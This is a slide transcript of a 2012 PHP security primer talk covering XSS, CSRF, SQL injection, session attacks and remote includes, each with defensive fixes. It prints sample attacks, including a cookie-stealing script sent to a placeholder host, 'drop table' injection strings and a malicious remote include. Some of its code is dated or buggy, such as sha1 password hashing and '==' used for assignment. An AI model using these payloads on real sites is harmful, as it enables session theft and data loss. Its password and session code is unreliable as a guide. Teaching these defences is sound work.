Share
Embed
Security 101
This was for a talk given at the Atlanta PHP User Group on April 5th, 2012. This is a primer on PHP security with a bit of input on technical implementations and Social Engineering.
Shawn Stratton
April 06, 2012
Transcript
57 slides
-
Who Am I • Systems Architect @ Discovery Communications. •
Previous Speaker @ Atlanta PHP, Zendcon. • Previously worked on NationalGuard.com’s recruitment application (Security Clearance and all.) -
Kevin Mitnick • Hacked IBM, Motorola, DEC, Nokia, Sun Microsystems,
Fujitsu Siemens. (Confirmed) • Hacked Pacific Bell, California DMV, FBI, Pentagon. (Alleged) -
SOCIAL ENGINEERING • Phishing - Getting information by simply asking
for it. • Baiting - Leaving infected media (USB Stick, CD’s, wireless networks, etc) that compromises a system. • Tailgating - Entering a secured area by following someone. -
Social Engineering - Tips • Don’t give out privileged information,
ever. • Know who you’re talking to, ask to call them back, etc. • Common Sense helps a lot. • Never take anything for granted. • Don’t pick up disks/ usb sticks/etc & insert them into your computer (PC, Mac, or even Linux) -
Security is a Mindset • Three Principles: • Defense in
Depth • Least Privilege • Least complicated • Trust Nothing, Assume Nothing. Defense in Depth - Redundant safeguards are valuable. Least Privilege - Grant as little Freedom as possible Least Complicated - Complexity breeds mistakes. (From Shiflett’s Evolution of Web Security) -
Security In Practice • Working with Data has two practices:
• Filter Input • Escape Output • Working with People has many many more! -
Server Security http://flic.kr/p/9SD2tZ by Rob Allan (Akrabat) This is actually
Ed Finkler, he used to run the Spaz project and is a member of several other open source projects. Because of the context though most will assume he’s a hacker, this is called pre-texting. -
Server Side Security • Install Suhosin patch. • Be smart
about your passwords. • Disable register globals, magic quotes, etc. • Never run PHP/Apache/Nginx/etc as administrator. • Keep up with Patches. This is a long topic, I’m not going to fully cover it. If you don’t know what you’re doing, PLEASE hire a sysadmin. Sysadmin’s need love too! -
Server Side Security Only True Security Option: Unplug machine from
internet, telephone, power, etc and never power it back on. -
Top Vulnerabilities for Web apps • Cross Site Scripting •
68% • Unintentional Disclosure • 66% • Session Fixation / Hijacking • 53% • Sql Injection • 32% Data according to Veracode State of Software Security v4. Sample group is 9910 apps. -
Cross Site Scripting (XSS) • Inclusion of Dynamic Code via
unfiltered method of entry. • Can be one time (get parameter/post parameter.) • Can be permanent (blog post, blog comment, forum post, etc.) -
An Examples <?php echo $_GET['user']; ?> --- url?user=%3Cscript%3E%2F%2FDo %20Something%3C%2Fscript%3E or
user = <script>//Do Something</script --- <?php echo "<script>//Do Something</script>"; ?> -
Whoa • If this were a crafted link, 1 person
could be exploited. • If this is stored in a forum/blog, many people could be exploited. -
The Danger? cookies --- <script>document.location = 'http:// somelocation/steal/?cookie=' + encodeURI(
document.cookie ) </script> form data --- <script>getElementById('form').target = http://somelocation/stealform</script> -
XSS Prevention • Filter Input using strip_tags. • Filter Output
using htmlspecialchars. -
Special Chars <?php echo htmlspecialchars($_GET['user']); ?> --- url?user=%3Cscript%3EDo%20Something%3C %2Fscript%3E or
user = <script>Do Something</script --- <?php echo "<script>Do Something</ script>"; ?> -
Strip Tags <?php echo strip_tags($_GET['user']); ?> --- url?user=%3Cscript%3EDo%20Something%3C %2Fscript%3E or
user = <script>Do Something</script --- <?php echo "Do Something"; ?> -
CSRF - Cross Site Request Forgeries • Uses your own
login / cookies/ sessions /etc against you. • Makes requests in the back end (that have side effects) without your knowledge. • Can be done by a malicious site, or, via XSS. -
Using Tokens on your Forms <?php $token = sha1( uniqid(rand(true)));
$_SESSION['token'] = $token; --- <input type="hidden" name='token' value="<?= $token?>" /> --- if ($_POST['token'] != $_SESSION['token']) { // ABORT ABORT } -
What is SQL Injection? • Allowing arbitrary SQL statements to
alter the intended “flow” of your query. • Can change your conditions in unexpected ways -- admin’ or 1 = 1; -- • Can do actions -- admin’; drop table stuff; -- -
Some Insecure Code url?userid=42 <?php $query = "SELECT * FROM
users WHERE userid = '{$_GET['userid']}'"; mysql_query($query); ?> SELECT * FROM users WHERE userid = '42'; -
So why is it insecure? url?userid=42'%3B%20drop%20table%20users%3B %20-- OR userid =
42' drop table users; -- <?php $query = "SELECT * FROM users WHERE userid = '{$_GET['userid']}'"; mysql_query($query); ?> SELECT * FROM users WHERE userid = '42'; drop table users;-- '; -
Some Alternatives • Specific to this example: • Cast to
integer. • Otherwise: • Filter Input. • Use Prepared Statements. • mysql_real_escape_string. -
Cast to Int url?userid=42'%3B%20drop%20table%20users%3B %20-- OR userid = 42' drop
table users; -- <?php $query = "SELECT * FROM users WHERE userid = '{ (int) $_GET['userid']}'"; mysql_query($query); ?> SELECT * FROM users WHERE userid = '42'; -
Filtering url?userid=42'%3B%20drop%20table%20users%3B %20-- OR userid = 42' drop table users;
-- <?php $userid = filter_input(INPUT_GET, 'userid', FILTER_SANITIZE_NUMBER_INT); $query = "SELECT * FROM users WHERE userid = '{$userid}'"; mysql_query($query); ?> SELECT * FROM users WHERE userid = '42'; -
Prepared Statements url?userid=42'%3B%20drop%20table%20users%3B %20-- OR userid = 42' drop table
users; -- <?php $stmt = $pdo->prepare("SELECT * FROM users WHERE userid = :userid"); $stmt->execute(array(':userid' => $_GET['userid'])); $result = $stmt->fetchAll(); ?> SELECT * FROM users WHERE userid = :userid; -
Tying it all together url?userid=42'%3B%20drop%20table%20users%3B %20-- OR userid = 42'
drop table users; -- <?php filter_input(INPUT_GET, 'userid', FILTER_SANITIZE_NUMBER_INT); $stmt = $pdo->prepare("SELECT * FROM users WHERE userid = :userid"); $stmt->execute(array(':userid' => $userid)); $result = $stmt->fetchAll(); ?> SELECT * FROM users WHERE userid = :userid; -
A note on Pagination • Set limits, make sure you’re
not above your limit. • This is a DDOS attack vector, not setting a limit or too large of a limit can put additional strain on your application & database servers. -
Session Fixation • Various ways to do this. • Send
someone a link with a Session ID, the server will generate that Session. • Figure out the session identifier generation pattern and change sessions. -
Usual Code for Session Fixation <?PHP session_start(); ----- Login Code
----- if ($login_successful) { $_SESSION['userid'] = $userid; $_SESSION['loggedin'] = true; } -
How is this exploited? • Send target url with PHPSESSIONID=someknownstring
• Target accesses url, signs in. • Access url you sent target. • Profit. -
How can it be prevented • Regenerate the Session ID
on changes to permission levels. We’ll look at other ways of handling this in another section. -
Session Fixation Prevention <?PHP session_start(); ----- Login Code ----- if
($login_successful) { session_regenerate_id(true); $_SESSION['userid'] = $userid; $_SESSION['loggedin'] = true; } -
Session Hijacking • Guessing someone’s session id. • Grabbing their
cookie (think xss). • Someone sharing a link with the PHPSESSIONID on it. -
Fingerprint the UA <?php $_SESSION['UA'] == sha1 ($_SESSION['HTTP_USER_AGENT']); --- if
($_SESSION['UA'] != sha1 ($_SESSION['HTTP_USER_AGENT']) { session_destroy(); //Force Re-Login } -
Using a Token <?php $token = sha1 (md5(uniqid(rand(),TRUE)); $_SESSION['token'] ==
$token; //store token elsewhere --- if ($_SESSION['token'] != $token) { session_destroy(); //Force Re-Login } //Regenerate token from time to time -
Fun with Remote Code Includes • PHP by DEFAULT allows
remote url includes. -
A Quick Example <?php require ($_GET['action']); --- uri?action=http://malicious/file.php --- <?php
require ('http://malicious/file.php'); -
How to fix • Set allow_url_include to off. • Maybe
set allow_url_fopen to off. • Quit doing it wrong. -
Fix the Underlying Problem <?php switch ($_GET['action']){ case 'post': require
('post'); break; default: require ('index'); break; } -
Sanitizing Input • Use strip_tags before storing data or processing
it out. • Cast Data to it’s type if you’re not working with strings. • (int) $number • (bool) $condition • Do this on things that are not being fed from $GET/$POST you never know when you’ll change that. -
Escaping Output • Use htmlspecialchars to convert < to >
• Be aware of where you’re getting the data. -
On Passwords • Never store plaintext. • if (sha1($_POST[‘pass’]) ===
$db_return) • Salting is awesome. • if (sha1(‘sa’ . $_POST[‘pass’] . ‘lt) === $db_return) -
On Password Complexity • Military Standard is Strong - 15
~68.5 bits of entropy • 15 chars long. • 2 upper case, 2 lower case letters. • 2 numbers. • 2 special characters. -
Some Important things. • Filter Input & Escape Output, always.
• Use prepared statements, filter your query params. • Disable magic_quotes, register_globals, allow_url_fopen. • Give minimum permissions to daemons, processes, people. • Regenerate your session id’s and use tokens. • Use common sense.